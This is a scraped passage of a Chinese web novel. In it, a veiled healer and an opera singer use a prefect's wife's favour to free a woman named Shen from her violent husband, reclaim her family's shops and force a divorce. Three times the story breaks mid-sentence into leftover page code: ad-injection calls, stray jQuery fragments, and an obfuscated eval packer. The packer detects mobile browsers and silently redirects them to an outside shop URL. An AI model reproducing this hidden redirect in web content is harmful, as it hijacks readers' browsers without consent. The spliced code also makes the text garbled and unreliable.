顾静娴回了回神，“早闻胭脂姑娘的秦香莲唱得缠绵悱恻，台上的一颦一笑都拨弄着看客的心。姑娘久不登台，今夜潇湘轩怕是要人满为患。”
程绾青心中疑惑，“你怎能确定，孟夫人今夜一定会来？”
顾静娴将针拔除，与程绾青四眼相对，“听闻孟氏一心求子，我把助沈娘子怀胎和你嗓子恢复的消息一同放出去，她定会来找你了解。”
“到时，你只管把她引到我这。”
·
登州城的潇湘轩，是个近百年的戏楼。只可惜这些年来，登州戏班凋零，因而时常荒着。
此次得以重开潇湘轩，只因孟氏听闻程绾青要重新出山，就闹着知府大人要将这潇湘轩赏给程绾青用，这才开了此地。
潇湘轩中好戏开场，场内人潮涌动，摩肩接踵，欢声笑语同锣鼓喧天交织一处，好生热闹。
“瞧瞧，这唱念做打，不愧为名伶！”通判夫人衔了一个蜜饯，听得入神，忍不住赞叹。
孟氏笑道：“你们一家才来登州任职，要是早年间来看，更是要好过这场千倍。”
谈笑间，一婆子走到孟氏身侧，轻声低语言，“夫人，已同程娘子说过了，等散了场，让她来此一叙。”
孟氏轻轻“嗯”了一声，也衔了个蜜饯嚼，只管静心看戏。
“深闺只见新人笑，因何不听旧人啼。”
“谁知他把前情忘，狠心夫忍叫骨肉漂泊异乡！”
“……”
“好——！”
一出戏落，叫好声连连不断。
程绾青顾不得梳洗
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
，只卸了头面，带着妆就去了包厢，生怕去晚孟氏等急，便不愿再留。
孟氏见程绾青来，忙示意让其在自己身侧坐下。
等程绾青落座，孟氏朝着通判夫人看了一眼，见她久不离去，开口提醒，“我与程姑娘叙叙旧，恐回府已晚，你且先行回去。”
通判夫人识趣，知这二人要讲私房话，便起身福礼，退了下去。
孟氏这才宽了心，她看向程绾青，眉目含笑，“程娘子先前受委屈了，你可听说你那爱徒一事？”
程绾青自是知晓，她不愿多言，“紫怡心气傲，也正是因这傲气，毁了她的前程。”
“我也曾去瞧过一场，”孟氏摆摆手道，“不过半场我就坐不住了，可见我这人，还是喜欢看程娘子的戏啊。”
程绾青低声道：“多谢夫人抬爱。”
“不提这些往事了，”孟氏轻言笑道：“如今听着，程娘子的嗓音已然全好，是城中那新开的沁心堂为你诊治？”
“正是，”程绾青喜出望外道，“我见她是位小姑娘，只恐我这嗓子雪上加霜，原也不愿让她给我医治。可谁曾想，短短一月，竟就全然好了。”
孟氏又问：“我还听闻一事，她医了一位积年不孕的妇人，才一帖药下去，就助其怀胎，可真有此事？”
程绾青不多言语，只点了点头。
孟氏的双眼明显一亮，她假意扶额，“近几日来我顿觉身子不适，请了几位大夫又都说不清缘由。此番瞧见你，倒知那姑娘的本事。恐怕日后还得劳烦程姑娘，带我也去瞧瞧。”
“夫人这是哪里的话，”程绾青道，“您将这潇湘轩买下赠予我用，我本就不知如何答谢夫人，做个顺水人情，反倒是我占了便宜。”
孟氏会心一笑，“那么就定明日晨起？”
“这恐不成，”程绾青压低声音道，“这姑娘平日都是夜间行医，不如明日夜里？”
“如此也好。”
回了云烟榭，程绾青将今晚散戏后的事，事无巨细地交代给顾静娴。
秋霜端上一包银子，“这几日苦了程娘子，这是我们姑娘的一点心意，祝娘子新楼重开，名震天下。”
程绾青自不愿意收，推脱道：“殷姑娘替我医好嗓子都未曾收我的银子，我又怎好收你的？”
她幽幽道：“如今还得劳烦殷娘子替沈氏逃离那虎狼窝，早日脱困。”
·
朝阳刚刚升起，可转眼便已夕阳余晖。
一日光阴匆匆过去。
初春的夜仍夹带着几丝寒意，已过子时，街巷人烟稀少，只传来三三两两散场酒客的胡言声。
沁心堂内只稍点了盏灯，与月光交融，照的屋内昏昏暗暗。
室内寂静如初，唯听得夜风吹过树梢，发出沙沙的声音。
不知过了多久，一阵车轮滚动声随着缥缈的风声一同传来，一辆富丽的马车在沁心堂外稳稳停下。
秋霜今夜也戴上了帷帽，她站在窗前偷窥着窗外的情况。
车帘被人缓缓掀开，一身着锦缎的妇人慢慢探身而出。
“姑娘，孟夫人来了。”
11. 戏起（贰）
孟氏由程绾青带进沁心堂，顾静娴头戴帷帽端坐着，叫孟氏瞧不真切。
“孟夫人来了。”顾静娴话中含笑。
她指尖微微一动，秋霜瞬间知会其中意思，向孟氏奉上一盏茶。
孟氏只自顾坐下，她环顾四周，这屋内除了一盏灯之外，只凭借那似银幕般洒进来的月光照明。其余的，唯见得一片昏暗。
孟氏开口道：“娘子这昏昏暗暗的，何不再点几盏灯。”
顾静娴在帷帽之下淡淡一笑，“行医一事，只在功夫深浅，不在室内明暗。”
孟氏问：“那何时开始？”
顾静娴站起身，“孟夫人请随我来。”说罢，便头也不回地进了一间屋子。
孟氏也由婆子搀扶从椅子上起身，她与婆子四目相望，又不安地看向程绾青。
见程绾青朝着自己点了点头，孟氏这才犹犹豫豫地迈开步子。
可正欲跟随顾静娴进屋，却被秋霜拦下。
秋霜道：“我们沁心堂的规矩，姑娘诊脉时，屋内只许进看病者一人。”
孟氏不解，“这是何意？”
秋霜语调冷冷，“我们姑娘就靠这个手艺过活，以防有人偷师学艺，故而如此。”
孟氏贴身伺候的张妈妈道：“我们夫人千金之躯，她一人进去，老妇我不放心。”
还未等秋霜回话，便闻屋内传来顾静娴的声音，“来我沁心堂，若不真心实意地相信于我，便请夫人先行回去吧。”
孟氏双眼一转，她心中细细掂量片刻，拍了拍张妈妈扶着自己的手道：“无妨，咱们身处登州之地，量她也不敢造次，你就在屋外等候”
张妈妈这才松了手，却仍不见其迈开步子。
程绾青上前一步，走到孟氏身侧道：“我们在屋外等你，夫人尽管安心便是。”
孟氏深深地吸了口气，似是下了某种决心般，决绝地走了进去。
屋内点着明亮的灯，气氛静谧安静，似乎连根针掉落在地上都可以听到声响。
顾静娴语气含笑，“夫人终于过了自己心中那关。”她示意孟氏坐到自己面前。
孟氏缓缓走到顾静娴面前的椅子坐下，两人相距一张不算宽的长方桌。
帷帽下，顾静娴开口问道：“夫人身子哪里不适？”
孟氏清了清嗓子，她面容依旧冷着，声音却软了几分，“身子倒是无碍，只一事相求姑娘，我同大人结婚十载，却久不怀胎，听闻姑娘医治好王家媳妇，这才寻来。”
顾静娴拿出一个小垫子放在桌上，孟氏知会，将手搭在上面。
诊脉间，屋内又归于平静。
良久，顾静娴才将手放下。
孟氏迫切地询问道：“如何了，姑娘可查出问题没有？”
“夫人的情况，我知晓了。”
“那不知娘子，我该用什么药？银子的事不必考虑，自为我拿最好的就是。”
顾静娴停了手中的动作，她不再出声，只静静地看着孟氏。
孟氏也察觉到了那帷帽底下的眼神，她拿出几张银票放在桌上，“只要姑娘能助我怀胎，还有比这厚重千倍的礼。”
顾静娴道：“冰冻三尺非一日之寒，夫人这身子需得好好调理。夫人常日里思虑过重，日后放宽心些。”
孟氏问：“就这样，不用开方子用药？”她心中诧异，这哪是什么神医，怕是遇到了神骗吧。
“自然不是，”顾静娴看出孟氏的疑惑，“夫人多年前是否落过一胎？”
“你怎知道？”孟氏睁大了双眸，这事外人并不知晓，因而诧异。
“夫人脉象上写着。”
方才孟氏对顾静娴的猜忌，于这句话后又烟消云散。
孟氏心中还是急切，“娘子是嫌这钱不够？若嫌不够，我这就命人回府去取。”
顾静娴摆了摆手，“我这里有一件事，若夫人替我解决，我自给夫人开药。”
“何事？”
“我需夫人协助，帮一人和离。”
顾静娴说完，提笔写了一张方子，交于孟氏，“这道方子夫人先用着，你心神不宁才致气血不畅，夫人近些日宜心平气和，放宽心态。其余的，事成之后，我自当为夫人调理。”
二人走出来时，天已蒙蒙亮了。
孟氏转身朝顾静娴看去，眉目含笑，“今夜有劳姑娘了。”
顾静娴微微颔首，帷帽浮动，“夫人慢走。”
见程绾青要同孟氏一起走，顾静娴道：“程姑娘且留步。”
闻言，三人一同止步。
顾静娴道：“程娘子今日既来了，不妨让我为你再诊一次，你前日登台唱戏，恐嗓子疲累。”
孟氏见和自己没关系，便领着张妈妈先离去。
待马车启程声传来，程绾青才开口问：“如何了？”
“孟氏求子心切，答应了。”
程绾青又问：“那咱们如今该怎么行事？”
“师出有名，方可动身，”顾静娴淡淡道，“午后，去升平坊一趟。”
·
沈氏正伺候完婆母，方行出屋外，便见王虎进了家门。
想来一夜未归，又是去了那外室那里。
“官人回来了。”沈氏颤颤巍巍地让出一条道来，她见了王虎，就像是老鼠见了猫般。
王虎从沈氏身侧走过时，停住了脚步。
“官人有何吩咐？”
王虎眉目紧皱，不像是见了自家夫人，反倒像是见了仇人。
他语气充满不耐烦，怒目圆睁道：“给我五十两银子，今夜就要。”
“五十两？”沈氏面露难色，“官人要这么多银两作甚，何况，咱们家中如何拿得出五十两银子？”
“你会没有？”王虎冷笑道，“沈家托孤的钱，不都在你房中藏着？”
“托孤的钱？官人莫不是吃酒吃糊涂了，我娘家留下来的钱，这么些年早就用光了，哪还有银子。”沈氏语气不满。
王虎听出了沈氏的不满，抬手给了沈氏一耳光，“别以为你有点银子就能在这耀武扬威的，若没有我王家收留你，你今日恐怕葬在那座孤坟都不知道！”
“收留我？”沈氏捂着脸，一腔怨恨，“什么叫收留我？我父亲临终前，只道叫你们帮衬，而你们呢，瞎编出一场莫须有的婚事，逼着我嫁进你们王家，别以为我不知道你们心中的那些勾当。”
“哟呵——”王虎又给了沈氏一巴掌，他恶狠狠道，“死娘们，你有什么脸面嫌弃我们王家！”
沈氏双颊涨红，火辣辣的同感席卷全身。她唇角渗出血水，双眸含泪，原本懦弱的双眸变得凌冽，“你们王家好大的谱，用着我娘家的钱，打肿脸充什么胖子！”
王虎不可置信地看着沈氏，“你敢这么和我说话！”
他转而讥笑道：“别以为你如今肚子中有货，就可以托大拿乔！嫁给我三年都未曾有动静，怎么如今我休书刚写好就怀上了，我还没问你是哪个野男人的！”
说完，王虎气上心头，猛地朝沈氏肚子锤去。
于王虎而言，沈氏是否怀胎本不重要，当下最重要的是他藏在外头那美娇娘怀中的一胎。
他对沈氏本就没多少情爱，无非是沈家二老纷纷离世，又因王父曾和沈父有过交集，王家便作假了一封娃娃亲的婚书，为了沈家家财才娶了沈氏进门。
眼见得外室腹中胎儿越来越大，王虎想休妻的想法就愈演愈烈。
到时候一家三口待在一起，他左手美娇娘，右手娇儿，怎不逍遥又自在！
如今沈氏这一胎，到底是打破了王虎的美梦。
他干脆一不做二不休，就将沈氏怀中这一胎给打了，到时候还是可以一纸休书将她赶弃出门，那一场温馨的美梦就可继续。
沈氏的哀嚎声响彻升平坊，过路人闻声来看，却因王虎粗莽，不敢上前阻拦。
王母听见外头哄闹声，行身出来。
她衣着富贵，穿金戴银，不知道的还以为是哪位大人家中的老夫人。
王母眼睛小的跟绿豆似的，深深陷在眼窝中，“嚷嚷什么，丧气的东西，我王家的福气都被你给吵没了！”
正此时，走来两位女子。
“住手！”程绾青咬牙愤怒地吼道。
王虎平日里教训沈氏时，从未有人敢插手制止，如今有这么一个胆大的娘子愿意站出来，他心道今日怪了。
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
循声望去，就见程绾青提着一把剑前来，王虎这才停下手中怒锤沈氏的动作。
“什么人，敢阻拦你爷爷！”王虎见其手中那闪着银光的剑，后退了几步周旋起来，却见其生得一副好面容，心生他意。
等王虎离了沈氏近身，顾静娴忙上前搀扶。
沈氏面色惨白，短短几拳她浑身便被冷汗包裹，可见王虎今日真动了杀心。
“殷姑娘……救我，救救我。”沈氏虚弱地恳求。
顾静娴扶着沈氏坐下，她身子倚靠着自己，轻声安慰道：“没事了，你放宽心，我定把你从这虎狼窝中救出去。”
“救出去？”王虎听到了顾静娴说得话，不分青红皂白道，“什么叫救出去！莫非就是你挑唆这个贱人，让和别的男子暗做苟且！”
王虎朝着门口喊道：“真是我王家家门不幸啊，好不容易娶着个妻子，她竟背着我偷人，还想着让我王家来养这贱种不成？”
“把你的嘴给我放干净些！”程绾青提刀步步逼近王虎。
若无天家律法在，她真想一剑刺穿王虎的胸膛。
这样的男子，便是死了也没啥可惜的。
院门口有人看得透彻，“虎大哥，我看你是吃醉酒糊涂了。你家娘子平日里伺候你们母子二人也算任劳任怨，毫无半句怨言，你不心疼就算了，如今她怀着身孕你都要打他，这哪是个人能做出来的事？”
王虎哈哈大笑道，“什么叫任劳任怨，我娶她进门是为了作甚，不让她浆洗打扫，难道还要当做菩萨真人供起来不成！”
王母大步走近沈氏身侧，粗鲁地踹了一脚，怒骂道：“坐着装什么死人！还不快给我回屋里去，还嫌别人瞧不够我王家的笑话？！”
“你们王家就是个笑话，”顾静娴将沈氏护在身后，“用着沈家的，吃着沈家的，如今却连软饭都不知道如何吃了，自始至终难道不就是一个笑话？”
“你是什么人，我王家家事，何须你们来管！滚滚滚，快滚出我家！”王母驱赶起来。
顾静娴自不愿意和一个年近古稀的老妇多费口舌，她扶着沈氏欲走，王母又忙上前阻拦。
“青天白日的想抢人？我告诉你，那可不能够！这小蹄子还得在我王家伺候我，谁也别想带她走！”
程绾青退到她们二人身旁，王母见那柄长剑，心中没了底气，却还是嘴硬道：“她生是我王家儿媳，死是我王家的鬼，你们……”
说话间，忠叔走了进来。
他鼓鼓的肌肉似要从衣裳爆裂出来，额间血管突突乱跳，只瞪了一眼，那王母便不敢再说话，畏畏缩缩地走到王虎身侧，呜呜咽咽地哭了起来。一边哭还一边咒骂，无非就是些极难入耳的粗鄙之言。
王虎看着四人登车离去，脸色沉下去，“母亲，尽管让他们走！那贱人躲得过今日，必躲不过十五。等她回来，我自有好果子给她吃！”
·
马车内，沈氏从怀中拿出一块软甲，“若无程妹妹这甲，恐我今日就命丧王虎拳下。”
顾静娴直起身子，不解地看着沈氏怀中的软甲，“这是？”
“是戏楼里的玩意，为了防止做戏时伤了自己，”程绾青笑道，“我前几日送给沈姐姐的。”
沈氏眼中仍有惊慌之色，“接下来怎么该如何做？”
顾静娴的目光从那软甲上移开，“姐姐娘家留了几间铺子？”
“有三间，原先是我沈家药房，我嫁进王家之后，被他们母子二人夺去，改做了旁的生计。”沈氏答完，问，“殷姑娘问这个做什么？”
顾静娴面色镇定，只沉声道：“拿回你应有的一切。”
“他们母子二人最为不讲理，我真的能拿回来？”沈氏盯着顾静娴问，她心底不由觉得欣喜。
这几间铺子，是沈氏父母的遗物，也是心血。当初王氏母子夺走铺子，关停药堂改建时，沈氏本就不愿，可耐不住她人单势弱，终究是抵不过那对恶人母子。
顾静娴展眉温和道：“王氏母子靠着你享受了三年好日子，今后，他们先前欠娘子的，自应得一点一点全拿回来。”
“况且，”顾静娴直指要害，“这本是姐姐的东西，如何拿不回来。”
12. 收铺
翌日，三人乘车来到药铺门前，
沈氏心中不安，抓着二人的衣袖问道：“一会咱们如何行事，他们会答应让咱们收铺子吗……”她的声音越来越弱，到最后，顾静娴和程绾青二人险些没听清。
顾静娴感觉到沈氏的手在颤抖，面色平和道：“沈娘子无需害怕，咱们去收自己的东西，天经地义。”
程绾青也道：“正是，你若害怕，一会只管站在我们二人身后。”
言罢，顾静娴戴上帷帽，三人一同下了马车。
顾、程二人走在前后，沈氏跟在身后，面色惨白。
云烟榭两位早已等候在外，跟着一同进了铺子。
掌柜的见来人，忙笑脸相迎，“几位客官进内瞧瞧，我这里的脂粉头油可是登州城数一数二的货。几位想要些什么，只管与我说。”
顾静娴淡淡开口，“不知贵店，可卖公道二字？”
“什么？”掌柜的以为自己听岔了，喃喃道，“姑娘这话我听不明白。”
顾静娴也不屑同他多费口舌，向身后三人吩咐道：“秋霜，你负责清点数量，刘妈妈负责登记造册……”
话还没说完，掌柜的笑盈盈道：“不用不用，姑娘若是全包了，我这就有数量。”
顾静娴继续道：“忠叔，你负责收了这铺子。”
三人齐声道：“是！”
掌柜原先笑盈盈地脸顿时沉了下来，看着三人动身，一时间不知道去拉谁好，一顿手忙脚乱后，气焰嚣张地对着顾静娴道：“你们是什么人？敢来我的铺子作乱！”
他原想去推搡刘妈妈，却被忠叔拉住，“你要是好好待着，我保你不会出事。可你不听我言，难保我这拳头要和你这张豆大的脸贴一贴。”
见面前之人凶神恶煞，气势嚣张，掌柜的哪还敢多言，眼看着他们清点数量，最后从他腰间夺走钥匙，将他赶出店外。
接下来的三个铺子，也如同第一家一般操作，不过半日，四个铺子的钥匙又重新掌握在沈氏手中。
沈氏看着手中的钥匙，默了会，转而面上笑意渐浓，“我本以为我沈氏家产，直到我死也拿不回来。”
她又不安地问起来，“可若那王虎赶来，我们又该如何？”
顾静娴笑道：“如今，就怕王虎他不来。”
车内良久无声，可有一事藏在程绾青心中已久。
她终究忍不住，开口问道：“殷姑娘似乎……很怕别人看清你的脸？”
顾静娴身形微顿，不曾接话。
程绾青又道：“殷姑娘平日里出门，都要将自己藏在这帷帽之下，到底为何？”
见程绾青一心要打破沙锅问到底，顾静娴摸了摸那帷帽，良久后才道：“因为我是一个身死之人。”
“身死之人？”其余二人闻言，都不能理解顾静娴此言何意，异口同声问。
顾静娴笑了一声，云淡风轻道：“此事说来话长，待我将我要做的事情都做完了，我定和你们二人说。”
·
午后，原本遮天的乌云逐渐散去，露出那一轮金灿的金乌。
升平坊内，四个掌柜的连滚带爬地跑进王家，大吼道：“东家不好了！”
王虎正在屋内伺候外室，因着沈氏不在家中，他便干脆将外室接来。
一来，他好照料自己这美娇娘，二来，在外租的那间院子的钱可以省去。
闻得呼喊声，王虎放下外室的汤碗，稍安稳了几句，才走了出去。
“惊了我的宝贝儿子，你们拿什么来赔？”
见姜松气上心头，原本七嘴八舌吵闹不停的四人这才住了嘴。
姜松随意从四人间指了个人，“你来说说，到底发生了何事？”
被指到的那人稍往前迈了一步，他道：“今早来了一伙人，将咱们几间铺子的门给锁了，还美名其曰‘收回自己的东西’。如今铺子被关，我们四个没法子，这才找上门来。”
“什么！”王虎听了这些话，气得鼻孔呼呼冒气，“是什么人，居然敢动我王家铺子。”
那人回道：“为首的是三位姑娘家，其中一位头戴帷帽。”他思考片刻，又说起来，“还有三个人，其中一个壮汉生得五大三粗，人高马大！”
“东家的，那三人里面似乎还有夫人在内。”
这铺子自打被王家母子霸占后，沈氏几乎未曾接触过，只平日里头油用光时，会去领一些用着，故而仅一人认识。
“好，好！”王虎怒极反笑，“这三个贱蹄子，是打量着我不敢弄死她们？”
有人心中焦急，开口问道：“东家，如今快紧着想法子该如何把铺子夺回来吧。”
一直不出声的一个掌柜道：“要不然报官吧？”
“报官！”有人应声，“就是得报官，青天白日抢铺子，哪还有王法？！”
王虎气得只想去找那三个女子，好好地教训一顿才能解他心头之气，听得“报官”二字，他似突然抓到了点子，眼睛闪了一下。
他指着方才应声那人，面上的笑意再藏不住，“我听说你有个远房的表哥在衙门当差，你去请他帮忙，等抓到了人，我一人赏十两银子。”
十两银子！四人眼冒金光，哪还愿意在此浪费时间，忙转身往衙门赶去。
等四人走后，王虎刚想回房，就见外室娇娇柔柔地倚靠在门旁。
她语调绵软，“郎君，发生何事了，可是奴家来惹得家中姐姐不高兴了？”一句话，听得王虎心中痒痒的。
王虎忙上前搀扶，“娘子怎么出来了，你如今未出三个月，要多加小心才是。”
“大夫都说了，我此胎胎象平稳，我的好郎君只管放宽心就是。”
她仍旧要打破沙锅问到底，揉了揉王虎紧皱在一团的眉间，关心道：“到底怎么了，我们夫妻一体，你若有事岂可瞒我。你若欺瞒于我，咱们的儿子也定不会答应。”说到最后，她面露怒意摆出一副娇嗔的样来。
王虎就像是被她拿捏住了命门，瞧着这一副娇怒的模样，心中却热开了花。
他双手环住外室的细腰，“沈氏那贱人在找麻烦，如今将铺子收回去了。不过你别担忧，沈氏此人懦弱无用，我拿捏了她这么些年，夺回铺子只是轻轻松松的事情。”
“是因为我吗？”外室眸中霎时间就掉出两颗黄豆大的泪，“姐姐在生我的气，郎君还是紧着姐姐要紧，只要姐姐和郎君夫妻一体，同气连枝，妾身没事的。”
王虎深深吸了一口气，美娇娘身上淡香的脂粉气入了鼻尖，倒叫他兴致大发。
他一把将外室抱起，“还是我的念儿最得我心。”说罢，他用脚将房门关上，步子虽急但闻地走向床榻。
“夫君……”外室知其心意，用拳锤了锤王虎的胸口，却未曾反抗。
·
黄昏时分，金乌余晖将世间的一切都照耀得富丽而辉煌。
天边渐渐泛起一片橙红色的光晕，残阳铺在水中，染红了半边江水。
“表哥，就是这！”
胭脂铺外，掌柜的指着店门向自家那位在官府办差的表哥诉起苦来，“青天白日抢铺子，表哥你可得给我做主啊！”
被称作表哥的官爷抱臂站在门口，端出官府的派头来，“到底是什么女子，竟让你们四个大男人都手足无措。”
“表哥你亲眼瞧瞧，自然就清楚了。”
走进铺子中，几人发觉一记眼刀飞了过来。
忠叔走到他们几人面前，伸手拦道：“你还敢来，怕是我日前同你说的话，已然全忘了。”
掌柜的心中忐忑，往自家表哥身后靠了靠，他低言道：“你小心些，这好像是那几位女子雇的打手。”
官爷自然不怕忠叔，他步步紧逼，近忠叔的身子，才道：“什么货色，也敢在登州城中闹事？”
“官爷糊涂了，”顾静娴从内屋走出来，打住道，“取回自己的东西，怎能和‘闹事’二字联系在一起？”
官爷因被呛，心中暗暗生了怒意，“据我所知，这是王家的铺子，你口口声声说是拿回自己的东西，不妨你先说说，你与那王家有何关系。”
“不曾有关系。”
“那就是闹事，”问言，官爷心中更有了底气，“不问自取就是偷，没王家的允许，今日是谁给你的胆子？”
顾静娴不慌不忙道：“我是与王家没关系，可官爷似乎弄错了，这间铺子更是同王家没有关系。”
“笑话！”官爷大笑两声，“满街道去问问，谁人不知这间铺子是王家的？我劝姑娘你莫要挣扎，与我去衙门走一趟，品杯热茶，才是当下的正事。”
“只恐怕我这人，你请不起。”
“这登州，就没老子我请不起的人。”官爷抬手示意，“给我拿下。”
候在店外的几位衙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13887704|146715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
役快步走了进来，就近顾静娴身时，被忠叔一挡。
可他们几人有官府撑腰，自是不怕忠叔这等平民百姓，仍旧步步紧逼。
顾静娴倒也不慌，她缓缓地从腰间摘下一个玉佩，将其举起，对着官爷道：“你不妨先瞧瞧，这是何物。”
官爷循声看去，只见顾静娴手中提着的玉佩只有半个巴掌大小，却通身温润。
玉佩上镂空雕了一只凤凰，晶莹剔透，很是夺目。
要说这样的玉佩，虽说富贵之家，家家都有，可这块玉，贵就贵在其中间一个“孟”字上。
登州为官者众多，可孟姓却不多见。
思来想去也唯想起一人，便是知府夫人。
官爷见此玉佩，立马明白过来，制止道：“且慢！”
众人听得号令，果真停了下来，退回了原位。
掌柜的一看，忙问：“表哥怎么让他们停下了，速速将这女子带去官府，为我申屈呀！”
官爷斜眸瞪了掌柜的一眼，没好气道：“蠢货，你是想害死我？”
还未等掌柜的反应过来发生了何事，就见自家表哥对着顾静娴毕恭毕敬地行了一礼，“未曾想是夫人好友，今日多有得罪，还望姑娘见谅。”
“无碍，”顾静娴道，“官爷是个聪明人，日后我定在夫人面前为你美言几句。”
官爷闻言，心中大喜，“岂敢岂敢，姑娘先忙着，小的还得赶回衙门当差，就不在此多打扰了。”
“官爷慢走，秋霜，你去送送。”顾静娴吩咐道。
掌柜的还欲挽留，却被自家表哥推到一边。
待人走完，铺子中只剩下四位掌柜。
忠叔摩拳擦掌地走近他们身侧，笑道：“看来四位今日不尝尝我拳头的滋味，是不会善罢甘休了。”
四人被忠叔吓到，连连退后数步。
“忠叔且慢，”顾静娴制止道，她上前一步，对着四位说道，“诸位不妨替我走一趟，告诉那王虎，只要一封和离书，先前诸事，既往不咎。”
撑腰的已走，四人也没底气在这，等不住顾静娴这一句话说完，边已走开数米。
阴云蔽月的夜，不见一丁点繁星。
一道银光似银蛇般游走在云层之中，照彻长空。
一声闷雷传来，暴雨将至。
王家院中，茶盏落地的声音从房中传来。
王虎的脸阴沉得让人不寒而栗，好似一触即发的火药，只要点燃引线便能即刻爆发。
他的脸涨得通红，仿佛不一会就有一簇火焰要从嘴中喷出。
“和离？笑话！我不一纸休书将她休了都是给她留了脸面，如今蹬鼻子上脸，敢踩我身上撒泼了！”王虎双拳紧握，说罢，又提起一建盏往地上摔去。
一时间，瓷器碎片落了一地，那盏中的茶水似脱缰的野马般，在屋内迸射。
每每来找王虎，他都只能嘴上逞强。掌柜的听不下去，轻声吐槽起来，“空说不练假把式，有种的，亲自去把那铺子给抢回来。”
可即便再轻，这屋内就他们二人，这句话还是传入王虎耳中，他嘴角抽搐，愤怒之情叫他的声音变得嘶哑，“你说什么？”
掌柜的自也不敢重复方才所言之语，转而规劝道：“要不东家，你这次就向夫人服个软，说不定夫人一高兴，即便和离也送你一间铺子。这几间铺子虽平日里赚的不多，可若省着用，补贴家用也是够的。”
“让我向那贱人低头？你怕也是活腻歪了！”
劝也不听，掌柜的如今也是黔驴技穷，再没法子了。
他也不愿在此多费口舌，转身出去。
等人走后，外室走了进来。她盈盈走到王虎身侧，握住王虎那双被热水烫着的手，轻声道：“郎君，如今咱们该如何？”
王虎理了理外室额间挂下来的发丝，强忍心中怒意，转而用温声细语道：“有我在，我定不会叫你们母子二人受委屈。”
外室双眼禽泪，弱弱地点了点头，“家中如今既然不宽裕，买燕窝的钱也刚好用完，不如就先停了吧。咱们的儿子，终归得在我腹中就先受受苦难，日后才好成大器。”
“这怎么成，”王虎将库房钥匙摘下，“虽说如今没银子入账，可我还藏有些体己。等我休了沈氏，家中中馈反正都得由你执掌，不如如今就将管家钥匙交给你。你只记住一点，切莫委屈了咱们的孩儿。”
13. 和离
这几日来，沈氏忙于游走于三个铺子之间，再不似先前在王家那般唯唯诺诺。
“娘子，”门外传来王虎的声音，“娘子在吗？”
忠叔将王虎拦在门口，程绾青护着沈氏至屋后，留顾静娴一人在前厅对付王虎。
王虎见着顾静娴，语气中再无先前的嚣张跋扈，他唯唯诺诺道：“这位帷帽娘子，不知我家娘子在这吗？麻烦你通融通融，让我见见她。”
顾静娴语气冷冷，“在如何，不在又如何。左右，她不想见你。”
王虎眼中掠过一丝不耐烦，却只一瞬，便被他压了下去。他努力地挤出一丝笑意，“小娘子这就错了，正所谓一日夫妻百日恩，我们夫妻三载，恩情颇深，她怎会不愿见我。”
“笑话，”顾静娴道，“你这三载都做了些什么事，心中可曾清楚？”
“是我猪油蒙了心，可如今，我已然知错悔改。”
顾静娴听到“知错悔改”这四个字时，心里泛起一阵恶心，她冷笑道，“你是知错悔改，还是另有缘由，你当我们具是耳聋心瞎，不明白你心中所想？”
她看王虎身形一震，所幸将话说个明白，“你那娇柔外室卷了钱财跑了，你王家财散人空，日子拮据得都快要过不下去了，你们母子二人为了钱财多番商量，这才放下身段来请。”
一番话，堵得王虎心中怒火丛生，却被呛得拿不出辩驳的话。又因有壮汉护着顾静娴，因而他只能恶狠狠地死盯着。
王虎吃了瘪，心中不闷，正欲转身离去，却闻屋内传来沈氏的声音。
“且慢。”
王虎欣喜转身，见沈氏缓缓从内屋出来。
沈氏乌发似云，容色晶莹如玉，如新月生晕，又好似粉梅初绽。
她走到王虎面前，那张白皙的脸上挂着一抹淡淡的冷意。二人的眼睛就此对上，她一双黑白分明的眸子里泛着幽幽光华，像凝结着寒霜。
短短半月不见，沈氏一改往常。于王虎眼中，竟比那外室还要美上三分。
王虎想上前拉住沈氏的手，却被其躲开。如今却不似先前那般恼怒，他憨笑道：“娘子可算愿意见我了，跟我回家吧，咱们夫妻二人好好叙叙旧，重订鸳盟。”
沈氏在石阶上伫立，风袖飘飘。
她长长的睫毛微微地颤动着，良久，她缓缓道：“我和你没什么旧好叙，不过有些事，当下是该做些了断了。”
闻言，王虎也出乎意料，他恐沈氏反悔，忙道：“娘子这话是什么意思，怎么还扯到什么了断不了断的？你父亲将你托付给我王家，咱们本就是这世间最亲的人。我不怪你听信这二人谗言，你若能同先前一般无二，我定好好疼爱你。”
沈氏冷冰冰地问：“让我同先前一般无二，王虎，我受够了。”
“同之前一般无二有何不好？”
“于你而言，自然是好。可若你试过，一个人伺候你们王家母子二人，常日里浆洗打扫，还被殴打辱骂，睡不安稳又吃不饱穿不暖的日子，必定没我这能耐，能忍这么些年。”
沈氏静静地说：“从前只道我自己愚钝，想过求死都未曾想过和离。如今好不容易离了魔窟，我又何故重蹈覆辙。”
顾静娴和程绾青二人站在沈氏身后，听得此言，笑了起来。
王虎不知如何反驳，开始撂起狠话，“你离了我，我看哪个男人还会要你！以后被万人嫌的时候，别忘了我今日已给过你台阶下，是你自己下贱，不懂得珍惜。”
沈氏笑了起来，“男人是什么宝贵的东西？若我们女子嫁给你们男子后，只能做附在你们身上的物件，平日里伺候打扫还被你们当做理所当然，在你们手上艰难地讨生活，我何不自己一人逍遥自在！”
“你！”王虎气得脸色涨红，他指了指沈氏，又指了指站在后头的顾静娴和程绾青二人，“贱人，都是贱人！若不是你们二人，这贱人今日哪来得这么多歪理！”
沈氏抬手打开王虎的手，“歪理？王虎，你今日来此为了什么你自己心中清楚。多说无益，你再不走，我可就要报官了。”
王虎紧握拳头，啐了一口唾沫后转身离去。
程绾青道：“将一切都说出来，心中是否好受些了。”
顾、程二人自沈氏开口后便不再言语，就是为了让沈氏自己将心中所想一并说出。
正所谓，解铃还须系铃人。
沈氏要解开她的心，自应她本人亲自来解。
